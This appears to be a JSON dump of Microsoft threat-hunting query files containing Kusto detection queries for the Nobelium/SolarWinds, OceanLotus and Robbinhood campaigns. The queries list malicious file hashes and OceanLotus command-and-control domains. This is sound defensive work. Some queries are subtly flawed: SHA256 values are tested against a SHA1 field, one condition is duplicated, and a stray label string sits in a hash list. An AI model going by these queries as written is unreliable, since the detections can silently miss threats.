    "path": "Campaigns/locate-dll-created-locally[Nobelium].md",
    "content": "# Locate Nobelium-related malicious DLLs created in the system or locally\n\nThis query was originally published in the threat analytics report, *Solorigate supply chain attack*. Please note that these attacks are currently known as the *Nobelium campaign*.\n\nMicrosoft detects the [2020 SolarWinds supply chain attack](https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/) implant and its other components as part of a campaign by the Nobelium activity group. Nobelium is the threat actor behind the attack against SolarWinds, which was previously referred to as [*Solorigate*](https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/).\n\n Nobelium silently added malicious code to legitimate software updates for Orion, which is IT monitoring software provided by SolarWinds. In this way, malicious dynamic link libraries (DLLs) were distributed to SolarWinds customers.\n\nThe following query locates malicious Nobelium-associated DLLs that have been created in the system or locally.\n\nMore Nobelium-related queries can be found listed under the [See also](#see-also) section of this document.\n\n## Query\n\n```kusto\nDeviceFileEvents \n| where SHA1 in (\"76640508b1e7759e548771a5359eaed353bf1eec\",\"d130bd75645c2433f88ac03e73395fba172ef676\",\"1acf3108bf1e376c8848fbb25dc87424f2c2a39c\",\"e257236206e99f5a5c62035c9c59c57206728b28\",\"6fdd82b7ca1c1f0ec67c05b36d14c9517065353b\",\"2f1a5a7411d015d01aaee4535835400191645023\",\"bcb5a4dcbc60d26a5f619518f2cfc1b4bb4e4387\",\"16505d0b929d80ad1680f993c02954cfd3772207\",\"d8938528d68aabe1e31df485eb3f75c8a925b5d9\",\"395da6d4f3c890295f7584132ea73d759bd9d094\",\"c8b7f28230ea8fbf441c64fdd3feeba88607069e\",\"2841391dfbffa02341333dd34f5298071730366a\",\"2546b0e82aecfe987c318c7ad1d00f9fa11cd305\",\"2dafddbfb0981c5aa31f27a298b9c804e553c7bc\",\"e2152737bed988c0939c900037890d1244d9a30e\",\"fd15760abfc0b2537b89adc65b1ff3f072e7e31c\") or SHA256 in (\"32519b85c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77\",\"ce77d116a074dab7a22a0fd4f2c1ab475f16eec42e1ded3c0b0aa8211fe858d6\",\"dab758bf98d9b36fa057a66cd0284737abf89857b73ca89280267ee7caf62f3b\",\"eb6fab5a2964c5817fb239a7a5079cabca0a00464fb3e07155f28b0a57a2c0ed\",\"ac1b2b89e60707a20e9eb1ca480bc3410ead40643b386d624c5d21b47c02917c\",\"019085a76ba7126fff22770d71bd901c325fc68ac55aa743327984e89f4b0134\",\"c09040d35630d75dfef0f804f320f8b3d16a481071076918e9b236a321c1ea77\",\"0f5d7e6dfdd62c83eb096ba193b5ae394001bac036745495674156ead6557589\",\"e0b9eda35f01c1540134aba9195e7e6393286dde3e001fce36fb661cc346b91d\",\"20e35055113dac104d2bb02d4e7e33413fae0e5a426e0eea0dfd2c1dce692fd9\",\"2b3445e42d64c85a5475bdbc88a50ba8c013febb53ea97119a11604b7595e53d\",\"a3efbc07068606ba1c19a7ef21f4de15d15b41ef680832d7bcba485143668f2d\",\"92bd1c3d2a11fc4aba2735d9547bd0261560fb20f36a0e7ca2f2d451f1b62690\",\"a58d02465e26bdd3a839fd90e4b317eece431d28cab203bbdde569e11247d9e2\",\"b8a05cc492f70ffa4adcd446b693d5aa2b71dc4fa2bf5022bf60d7b13884f666\",\"cc082d21b9e880ceb6c96db1c48a0375aaf06a5f444cb0144b70e01dc69048e6\",\"ffdbdd460420972fd2926a7f460c198523480bc6279dd6cca177230db18748e8\")\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence | v |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact | v |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component | v |  |\n\n## See also\n\n* [Locate Nobelium implant receiving DNS response](./c2-lookup-from-nonbrowser[Nobelium].md)\n* [Locate Nobelium implant receiving DNS response](./c2-lookup-response[Nobelium].md)\n* [Compromised certificate [Nobelium]](./compromised-certificate[Nobelium].md)\n* [FireEye Red Team tool CVEs [Nobelium]](./fireeye-red-team-tools-CVEs%20[Nobelium].md)\n* [FireEye Red Team tool HASHs [Nobelium]](./fireeye-red-team-tools-HASHs%20[Nobelium].md)\n* [View data on software identified as affected by Nobelium campaign](./known-affected-software-orion[Nobelium].md)\n* [Locate SolarWinds processes launching suspicious PowerShell commands](./launching-base64-powershell[Nobelium].md)\n* [Locate SolarWinds processes launching command prompt with the echo command](./launching-cmd-echo[Nobelium].md)\n* [Locate Nobelium-related malicious DLLs loaded in memory](./locate-dll-loaded-in-memory[Nobelium].md)\n* [Get an inventory of SolarWinds Orion software possibly affected by Nobelium](./possible-affected-software-orion[Nobelium].md)\n* [Anomalous use of MailItemAccess on other users' mailboxes [Nobelium]](../Collection/Anomaly%20of%20MailItemAccess%20by%20Other%20Users%20Mailbox%20[Nobelium].md)\n* [Nobelium campaign DNS pattern](../Command%20and%20Control/DNSPattern%20[Nobelium].md)\n* [Nobelium encoded domain in URL](../Command%20and%20Control/EncodedDomainURL%20[Nobelium].md)\n* [Domain federation trust settings modified](../Defense%20evasion/ADFSDomainTrustMods[Nobelium].md)\n* [Discovering potentially tampered devices [Nobelium]](../Defense%20evasion/Discovering%20potentially%20tampered%20devices%20[Nobelium].md)\n* [Mail.Read or Mail.ReadWrite permissions added to OAuth application](../Defense%20evasion/MailPermissionsAddedToApplication[Nobelium].md)\n* [Suspicious enumeration using Adfind tool](../Discovery/SuspiciousEnumerationUsingAdfind[Nobelium].md)\n* [Anomalous use of MailItemAccess by GraphAPI [Nobelium]](../Exfiltration/Anomaly%20of%20MailItemAccess%20by%20GraphAPI%20[Nobelium].md)\n* [MailItemsAccessed throttling [Nobelium]](../Exfiltration/MailItemsAccessed%20Throttling%20[Nobelium].md)\n* [OAuth apps accessing user mail via GraphAPI [Nobelium]](../Exfiltration/OAuth%20Apps%20accessing%20user%20mail%20via%20GraphAPI%20[Nobelium].md)\n* [OAuth apps reading mail via GraphAPI and directly [Nobelium]](../Exfiltration/OAuth%20Apps%20reading%20mail%20both%20via%20GraphAPI%20and%20directly%20[Nobelium].md)\n* [OAuth apps reading mail via GraphAPI anomaly [Nobelium]](../Exfiltration/OAuth%20Apps%20reading%20mail%20via%20GraphAPI%20anomaly%20[Nobelium].md)\n* [Credentials were added to an Azure AD application after 'Admin Consent' permissions granted [Nobelium]](../Persistence/CredentialsAddAfterAdminConsentedToApp[Nobelium].md)\n* [New access credential added to application or service principal](../Persistence/NewAppOrServicePrincipalCredential[Nobelium].md)\n* [Add uncommon credential type to application [Nobelium]](../Privilege%20escalation/Add%20uncommon%20credential%20type%20to%20application%20[Nobelium].md)\n* [ServicePrincipalAddedToRole [Nobelium]](../Privilege%20escalation/ServicePrincipalAddedToRole%20[Nobelium].md)\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Campaigns/locate-dll-loaded-in-memory[Nobelium].md",
    "content": "# Locate Nobelium-related malicious DLLs loaded in memory\n\nThis query was originally published in the threat analytics report, *Solorigate supply chain attack*. Please note that these attacks are currently known as the *Nobelium campaign*.\n\nMicrosoft detects the [2020 SolarWinds supply chain attack](https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/) implant and its other components as part of a campaign by the Nobelium activity group. Nobelium is the threat actor behind the attack against SolarWinds, which was previously referred to as [*Solorigate*](https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/).\n\nNobelium silently added malicious code to legitimate software updates for Orion, which is IT monitoring software provided by SolarWinds. In this way, malicious dynamic link libraries (DLLs) were distributed to SolarWinds customers.\n\nThe following query locates malicious Nobelium-associated DLLs that have been loaded into memory on affected systems.\n\nMore Nobelium-related queries can be found listed under the [See also](#see-also) section of this document.\n\n## Query\n\n```kusto\nDeviceImageLoadEvents \n| where SHA1 in (\"76640508b1e7759e548771a5359eaed353bf1eec\",\"d130bd75645c2433f88ac03e73395fba172ef676\",\"1acf3108bf1e376c8848fbb25dc87424f2c2a39c\",\"e257236206e99f5a5c62035c9c59c57206728b28\",\"6fdd82b7ca1c1f0ec67c05b36d14c9517065353b\",\"2f1a5a7411d015d01aaee4535835400191645023\",\"bcb5a4dcbc60d26a5f619518f2cfc1b4bb4e4387\",\"16505d0b929d80ad1680f993c02954cfd3772207\",\"d8938528d68aabe1e31df485eb3f75c8a925b5d9\",\"395da6d4f3c890295f7584132ea73d759bd9d094\",\"c8b7f28230ea8fbf441c64fdd3feeba88607069e\",\"2841391dfbffa02341333dd34f5298071730366a\",\"2546b0e82aecfe987c318c7ad1d00f9fa11cd305\",\"2dafddbfb0981c5aa31f27a298b9c804e553c7bc\",\"e2152737bed988c0939c900037890d1244d9a30e\",\"fd15760abfc0b2537b89adc65b1ff3f072e7e31c\") or SHA256 in (\"32519b85c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77\",\"ce77d116a074dab7a22a0fd4f2c1ab475f16eec42e1ded3c0b0aa8211fe858d6\",\"dab758bf98d9b36fa057a66cd0284737abf89857b73ca89280267ee7caf62f3b\",\"eb6fab5a2964c5817fb239a7a5079cabca0a00464fb3e07155f28b0a57a2c0ed\",\"ac1b2b89e60707a20e9eb1ca480bc3410ead40643b386d624c5d21b47c02917c\",\"019085a76ba7126fff22770d71bd901c325fc68ac55aa743327984e89f4b0134\",\"c09040d35630d75dfef0f804f320f8b3d16a481071076918e9b236a321c1ea77\",\"0f5d7e6dfdd62c83eb096ba193b5ae394001bac036745495674156ead6557589\",\"e0b9eda35f01c1540134aba9195e7e6393286dde3e001fce36fb661cc346b91d\",\"20e35055113dac104d2bb02d4e7e33413fae0e5a426e0eea0dfd2c1dce692fd9\",\"2b3445e42d64c85a5475bdbc88a50ba8c013febb53ea97119a11604b7595e53d\",\"a3efbc07068606ba1c19a7ef21f4de15d15b41ef680832d7bcba485143668f2d\",\"92bd1c3d2a11fc4aba2735d9547bd0261560fb20f36a0e7ca2f2d451f1b62690\",\"a58d02465e26bdd3a839fd90e4b317eece431d28cab203bbdde569e11247d9e2\",\"b8a05cc492f70ffa4adcd446b693d5aa2b71dc4fa2bf5022bf60d7b13884f666\",\"cc082d21b9e880ceb6c96db1c48a0375aaf06a5f444cb0144b70e01dc69048e6\",\"ffdbdd460420972fd2926a7f460c198523480bc6279dd6cca177230db18748e8\")\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence | v |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact | v |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component | v |  |\n\n## See also\n\n* [Locate Nobelium implant receiving DNS response](./c2-lookup-from-nonbrowser[Nobelium].md)\n* [Locate Nobelium implant receiving DNS response](./c2-lookup-response[Nobelium].md)\n* [Compromised certificate [Nobelium]](./compromised-certificate[Nobelium].md)\n* [FireEye Red Team tool CVEs [Nobelium]](./fireeye-red-team-tools-CVEs%20[Nobelium].md)\n* [FireEye Red Team tool HASHs [Nobelium]](./fireeye-red-team-tools-HASHs%20[Nobelium].md)\n* [View data on software identified as affected by Nobelium campaign](./known-affected-software-orion[Nobelium].md)\n* [Locate SolarWinds processes launching suspicious PowerShell commands](./launching-base64-powershell[Nobelium].md)\n* [Locate SolarWinds processes launching command prompt with the echo command](./launching-cmd-echo[Nobelium].md)\n* [Locate Nobelium-related malicious DLLs created in the system or locally](./locate-dll-created-locally[Nobelium].md)\n* [Get an inventory of SolarWinds Orion software possibly affected by Nobelium](./possible-affected-software-orion[Nobelium].md)\n* [Anomalous use of MailItemAccess on other users' mailboxes [Nobelium]](../Collection/Anomaly%20of%20MailItemAccess%20by%20Other%20Users%20Mailbox%20[Nobelium].md)\n* [Nobelium campaign DNS pattern](../Command%20and%20Control/DNSPattern%20[Nobelium].md)\n* [Nobelium encoded domain in URL](../Command%20and%20Control/EncodedDomainURL%20[Nobelium].md)\n* [Domain federation trust settings modified](../Defense%20evasion/ADFSDomainTrustMods[Nobelium].md)\n* [Discovering potentially tampered devices [Nobelium]](../Defense%20evasion/Discovering%20potentially%20tampered%20devices%20[Nobelium].md)\n* [Mail.Read or Mail.ReadWrite permissions added to OAuth application](../Defense%20evasion/MailPermissionsAddedToApplication[Nobelium].md)\n* [Suspicious enumeration using Adfind tool](../Discovery/SuspiciousEnumerationUsingAdfind[Nobelium].md)\n* [Anomalous use of MailItemAccess by GraphAPI [Nobelium]](../Exfiltration/Anomaly%20of%20MailItemAccess%20by%20GraphAPI%20[Nobelium].md)\n* [MailItemsAccessed throttling [Nobelium]](../Exfiltration/MailItemsAccessed%20Throttling%20[Nobelium].md)\n* [OAuth apps accessing user mail via GraphAPI [Nobelium]](../Exfiltration/OAuth%20Apps%20accessing%20user%20mail%20via%20GraphAPI%20[Nobelium].md)\n* [OAuth apps reading mail via GraphAPI and directly [Nobelium]](../Exfiltration/OAuth%20Apps%20reading%20mail%20both%20via%20GraphAPI%20and%20directly%20[Nobelium].md)\n* [OAuth apps reading mail via GraphAPI anomaly [Nobelium]](../Exfiltration/OAuth%20Apps%20reading%20mail%20via%20GraphAPI%20anomaly%20[Nobelium].md)\n* [Credentials were added to an Azure AD application after 'Admin Consent' permissions granted [Nobelium]](../Persistence/CredentialsAddAfterAdminConsentedToApp[Nobelium].md)\n* [New access credential added to application or service principal](../Persistence/NewAppOrServicePrincipalCredential[Nobelium].md)\n* [Add uncommon credential type to application [Nobelium]](../Privilege%20escalation/Add%20uncommon%20credential%20type%20to%20application%20[Nobelium].md)\n* [ServicePrincipalAddedToRole [Nobelium]](../Privilege%20escalation/ServicePrincipalAddedToRole%20[Nobelium].md)\n\n## Contributor info\n\n**Contributor:** Microsoft 365 Defender team\n"
  },
  {
    "path": "Campaigns/oceanlotus-apt32-files.md",
    "content": "# Detect malicious documents associated with group known as \"OceanLotus\"\n\nThis query was originally published in a threat analytics report about the group known to other security researchers as *APT32* or *OceanLotus*\n\nThis tracked activity group uses a wide array of malicious documents to conduct attacks. Some of their favorite techniques include sideloading dynamic link libraries,  and disguising payloads as image files. The group has weaponized files with exploits for the following vulnerabilities:\n\n* [CVE-2017-11882](https://nvd.nist.gov/vuln/detail/CVE-2017-11882) - [Software update](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882)\n* [CVE-2017-0199](https://nvd.nist.gov/vuln/detail/CVE-2017-0199) - [Software update](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-0199)\n\nThe following query detects known malicious files associated with the group's campaigns.\n\nSee [Detect malicious network activity associated with group known as \"OceanLotus\"](oceanlotus-apt32-network.md) for another query related to this group's activity.\n\n## Query\n\n```Kusto\nlet MaliciousFiles=pack_array(//'KerrDown Lure Documents',\n'b32b5f76e7386a65bd9220befb21e0c46d4084c4',\n'c9d6b6fa37ca3d8cb57248993bb7c8a8fcd1bc89',\n'bf127e2a526240c7e65f24c544dad820cebe6d88',\n'347f555857d56a5afd33cfa19f8b5c771eed2553',\n'26c86c777fc074f5bbad27084bcb3bbc7afff88e',\n'872d2f4ccc43c08f73e84647b3098ff044cdfb75',\n'fb20427d0ac3cd4542755168886a96bde04c4f81',\n//'KerrDown Malware Downloader',\n'5f42b1771ce97679df78713292838c830e606e48',\n'72571ea4389af7a3a0e04d87327427d199f1d178',\n'3f2a7b5605262d8aa189c32a049756c6bfed589b',\n'220ea47d692afc196b5b913a9693323fd51f00f5',\n'85021e711d5c7d5bd968f6dfed7102ab4d8828e8',\n'c9e101c77f67203dfef66d21f2fa6c8765a6c649',\n'3182141a8255baa5b82c0953dd4541c6f9f26a03',\n'2d92d6459ef83ddf006bff4046b1bab86161a26b',\n'6aef7916f1c5d1886db06fe2d4bf35614a0b921f',\n'edd306617f1c7390a6bc067d3e8dfb44ac57287c',\n'd8cd8068cb30605646258c7a0d9b47e00eac28c5',\n'36422fe35473cc28a14701e5d9dcff4c2426d0ae',\n//'OceanLotus Documents Exploiting CVE-2017-11882',\n'd1357b284c951470066aaa7a8228190b88a5c7c3',\n'49dff13500116b6c085c5ce3de3c233c28669678',\n'9df3f0d8525edf2b88c4a150134c7699a85a1508',\n'50a755b30e8f3646f9476080f2c3ae1347f8f556',\n'bb060e5e7f7e946613a3497d58fbf026ae7c369a',\n'e2d949cf06842b5f7ae6b2dffaa49771a93a00d9',\n'OceanLotus Malicious SFX Files',\n'ac10f5b1d5ecab22b7b418d6e98fa18e32bbdeab',\n'cd13210a142da4bc02da47455eb2cfe13f35804a',\n'b4e6ddcd78884f64825fdf4710b35cdbeaabe8e2',\n'cc918f0da51794f0174437d336e6f3edfdd3cbe4',\n'8b991d4f2c108fd572c9c2059685fc574591e0be',\n'3dfc3d81572e16ceaae3d07922255eb88068b91d',\n//'OceanLotus OCX Dropper Files',\n'efac23b0e6395b1178bcf7086f72344b24c04dcc',\n'7642f2181cb189965c596964d2edf8fe50da742b',\n'377fdc842d4a721a103c32ce8cb4daf50b49f303',\n'bd39591a02b4e403a25aae502648264308085ded',\n'b998f1b92ed6246ded13b79d069aa91c35637dec',\n'83d520e8c3fdaefb5c8b180187b45c65590db21a',\n'b744878e150a2c254c867bad610778852c66d50a',\n'77c42f66dadf5b579f6bcd0771030adc7aefa97c',\n//'Malicious PNG Loader Files Used By OceanLotus ',\n'b58b7e8361e15fdc9fb21d0f7c26d5fc17241ff7',\n'5d5c1297415cc5746559182d91c9114700be07e2',\n'43191e81e1dcc9fac138fc1cc5e3aeb9b25cc1f4',\n//'Malicious DLL Files Used By OceanLotus ',\n'fa6be68b59b204c9f5ae886a888627a190491cf7',\n'20c3a72ff476aa1fb71367e1d5dd6e0eb166167e',\n'9d39e11f48b3ed4df35f5e19dd00b47764c98bdd',\n'81c1aff8589dc1e556f68562d7154377c745a1d5',\n'eb27eb72c4709d77db260b942d87ed486e271c93',\n'a28095221fbaad64af7a098e3dda80f6f426b1c2',\n'dabefa810a4febf4e7178df9d2ca2576333e04f2',\n'e716a98a4f0ebd366ff29bd9164e81e7c39a7789',\n'89abb3d70f200d480f05162c6877fab64941c5dd',\n//'OceanLotus Documents Exploiting CVE-2017-0199',\n'928b391af8e029dd8bef4f6dd82223b961429f0d',\n'295a99bebb8122a0fc26086ecc115582f37f6b47', \n'8b9fc2281a604a0ef2d56591a79f9f9397a6a2d2', \n'ec34a6b8943c110687ef6f39a838e68d42d24863', \n'd8be4f41886666687caf69533e11193e65e2a8e5', \n'd8be4f41886666687caf69533e11193e65e2a8e5', \n//'Malicious Documents Used By OceanLotus', \n'8b599ecdbec12a5bd76cf290f9297f13e8397d56', \n'c9073998d2a202e944f21e973448062af4fd29c0', \n'91510b97f764296b16fc88f0195cec6e6f1604af', \n'e00a4e0a03655dccff5ffdb4f4540115d820b5bb', \n'd39a7ecf844545363b96b8ee2eda9b76d51d602b', \n//'JEShell Malware Downloader', \n'8cad6621901b5512f4ecab7a22f8fcc205d3762b', \n'668572ba2aff5374a3536075b01854678c392c04'); \nunion DeviceFileEvents, DeviceProcessEvents \n| where Timestamp > ago(14d) \n| where SHA1 in(MaliciousFiles) or SHA1 in(MaliciousFiles)\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|-|-|-|\n| Initial access |  |  |\n| Execution | v |  |\n| Persistence | v |  |\n| Privilege escalation |  |  |\n| Defense evasion | v |  |\n| Credential Access |  |  |\n| Discovery | v |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component | v |  |\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team"
  },
  {
    "path": "Campaigns/oceanlotus-apt32-network.md",
    "content": "# Detect malicious network activity associated with group known as \"OceanLotus\"\n\nThis query was originally published in a threat analytics report about the group known to other security researchers as *APT32* or *OceanLotus*\n\nThis tracked activity group uses a wide array of malicious documents to conduct attacks. Some of their favored techniques include sideloading dynamic link libraries,  and disguising payloads as image files.\n\nThe following query detects network activity that may indicate an attack by this group.\n\nSee [Detect malicious documents associated with group known as \"OceanLotus\"](oceanlotus-apt32-files.md) for another query related to this group's activity.\n\n## Query\n\n```Kusto\n//Network activities \nDeviceNetworkEvents \n| where Timestamp > ago(30d) \n| where RemoteUrl in ( \n//'Malicious URL Indicators for OceanLotus Activities 2019', \n'open.betaoffice.net', \n'outlook.updateoffices.net', \n'load.newappssystems.com', \n'syn.servebbs.com', \n//'C2 Indicators for OceanLotus Activities 2019', \n'cortanazone.com', \n'cortanasyn.com', \n'ristineho.com', \n'syn.servebbs.com') \n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|-|-|-|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery | v |  |\n| Lateral movement | v |  |\n| Collection |  |  |\n| Command and control | v |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Campaigns/possible-affected-software-orion[Nobelium].md",
    "content": "# Get an inventory of SolarWinds Orion software possibly affected by Nobelium\n\nThis query was originally published in the threat analytics report, *Solorigate supply chain attack*. Please note that these attacks are currently known as the *Nobelium campaign*.\n\nMicrosoft detects the [2020 SolarWinds supply chain attack](https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/) implant and its other components as part of a campaign by the Nobelium activity group. Nobelium is the threat actor behind the attack against SolarWinds, which was previously referred to as [*Solorigate*](https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/).\n\nNobelium silently added malicious code to legitimate software updates for Orion, which is IT monitoring software provided by SolarWinds. In this way, malicious dynamic link libraries (DLLs) were distributed to SolarWinds customers.\n\nThe following query retrieves an inventory of SolarWinds Orion software use in your organization, organized by product name and ordered by how many devices the software is installed on.\n\nMore Nobelium-related queries can be found listed under the [See also](#see-also) section of this document.\n\n## Query\n\n```kusto\nDeviceTvmSoftwareVulnerabilities\n| where SoftwareVendor == 'solarwinds'\n| where SoftwareName startswith 'orion'\n| summarize dcount(DeviceName) by SoftwareName\n| sort by dcount_DeviceName desc\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact | v | Not all instances of SolarWinds Orion may be affected by Solorigate. |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## See also\n\n* [Locate Nobelium implant receiving DNS response](./c2-lookup-from-nonbrowser[Nobelium].md)\n* [Locate Nobelium implant receiving DNS response](./c2-lookup-response[Nobelium].md)\n* [Compromised certificate [Nobelium]](./compromised-certificate[Nobelium].md)\n* [FireEye Red Team tool CVEs [Nobelium]](./fireeye-red-team-tools-CVEs%20[Nobelium].md)\n* [FireEye Red Team tool HASHs [Nobelium]](./fireeye-red-team-tools-HASHs%20[Nobelium].md)\n* [View data on software identified as affected by Nobelium campaign](./known-affected-software-orion[Nobelium].md)\n* [Locate SolarWinds processes launching suspicious PowerShell commands](./launching-base64-powershell[Nobelium].md)\n* [Locate SolarWinds processes launching command prompt with the echo command](./launching-cmd-echo[Nobelium].md)\n* [Locate Nobelium-related malicious DLLs created in the system or locally](./locate-dll-created-locally[Nobelium].md)\n* [Locate Nobelium-related malicious DLLs loaded in memory](./locate-dll-loaded-in-memory[Nobelium].md)\n* [Anomalous use of MailItemAccess on other users' mailboxes [Nobelium]](../Collection/Anomaly%20of%20MailItemAccess%20by%20Other%20Users%20Mailbox%20[Nobelium].md)\n* [Nobelium campaign DNS pattern](../Command%20and%20Control/DNSPattern%20[Nobelium].md)\n* [Nobelium encoded domain in URL](../Command%20and%20Control/EncodedDomainURL%20[Nobelium].md)\n* [Domain federation trust settings modified](../Defense%20evasion/ADFSDomainTrustMods[Nobelium].md)\n* [Discovering potentially tampered devices [Nobelium]](../Defense%20evasion/Discovering%20potentially%20tampered%20devices%20[Nobelium].md)\n* [Mail.Read or Mail.ReadWrite permissions added to OAuth application](../Defense%20evasion/MailPermissionsAddedToApplication[Nobelium].md)\n* [Suspicious enumeration using Adfind tool](../Discovery/SuspiciousEnumerationUsingAdfind[Nobelium].md)\n* [Anomalous use of MailItemAccess by GraphAPI [Nobelium]](../Exfiltration/Anomaly%20of%20MailItemAccess%20by%20GraphAPI%20[Nobelium].md)\n* [MailItemsAccessed throttling [Nobelium]](../Exfiltration/MailItemsAccessed%20Throttling%20[Nobelium].md)\n* [OAuth apps accessing user mail via GraphAPI [Nobelium]](../Exfiltration/OAuth%20Apps%20accessing%20user%20mail%20via%20GraphAPI%20[Nobelium].md)\n* [OAuth apps reading mail via GraphAPI and directly [Nobelium]](../Exfiltration/OAuth%20Apps%20reading%20mail%20both%20via%20GraphAPI%20and%20directly%20[Nobelium].md)\n* [OAuth apps reading mail via GraphAPI anomaly [Nobelium]](../Exfiltration/OAuth%20Apps%20reading%20mail%20via%20GraphAPI%20anomaly%20[Nobelium].md)\n* [Credentials were added to an Azure AD application after 'Admin Consent' permissions granted [Nobelium]](../Persistence/CredentialsAddAfterAdminConsentedToApp[Nobelium].md)\n* [New access credential added to application or service principal](../Persistence/NewAppOrServicePrincipalCredential[Nobelium].md)\n* [Add uncommon credential type to application [Nobelium]](../Privilege%20escalation/Add%20uncommon%20credential%20type%20to%20application%20[Nobelium].md)\n* [ServicePrincipalAddedToRole [Nobelium]](../Privilege%20escalation/ServicePrincipalAddedToRole%20[Nobelium].md)\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Campaigns/robbinhood-driver.md",
    "content": "# Detect loading of vulnerable drivers by Robbinhood ransomware campaign\n\nThis query was originally published in the threat analytics report, *Ransomware continues to hit healthcare, critical services*. There is also a related [blog](https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/).\n\n[Robbinhood](https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Ransom:Win32/Robinhood.A&ThreatID=2147735370) is ransomware that has been involved in several high-profile incidents, including a 2019 [attack](https://www.nytimes.com/2019/05/22/us/baltimore-ransomware.html) on the city of Baltimore, Maryland. Robbinhood operators often employ a distinctive defense evasion technique, where they load a vulnerable driver on to a target and exploit it, in order to turn off security software -- essentially using the driver as malware.\n\nThe following query detects if a device contains the vulnerable drivers. These are often, but not always, implanted on the target by operators seeking to use this technique to turn off security software.\n\nFor a query that detects a later stage of this technique, see [Detect security evasion related to the Robbinhood ransomware campaign](robbinhood-driver.md).\n\n## Query\n\n```Kusto\nDeviceFileEvents \n| where Timestamp > ago(7d) \n| where SHA1 in('0b15b5cc64caf0c6ad9bd759eb35383b1f718edf3d7ab4cd912d0d8c1826edf8', \n'31f4cfb4c71da44120752721103a16512444c13c2ac2d857a7e6f13cb679b427')\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|-|-|-|\n| Initial access |  |  |\n| Execution | v |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion | v |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Campaigns/robbinhood-evasion.md",
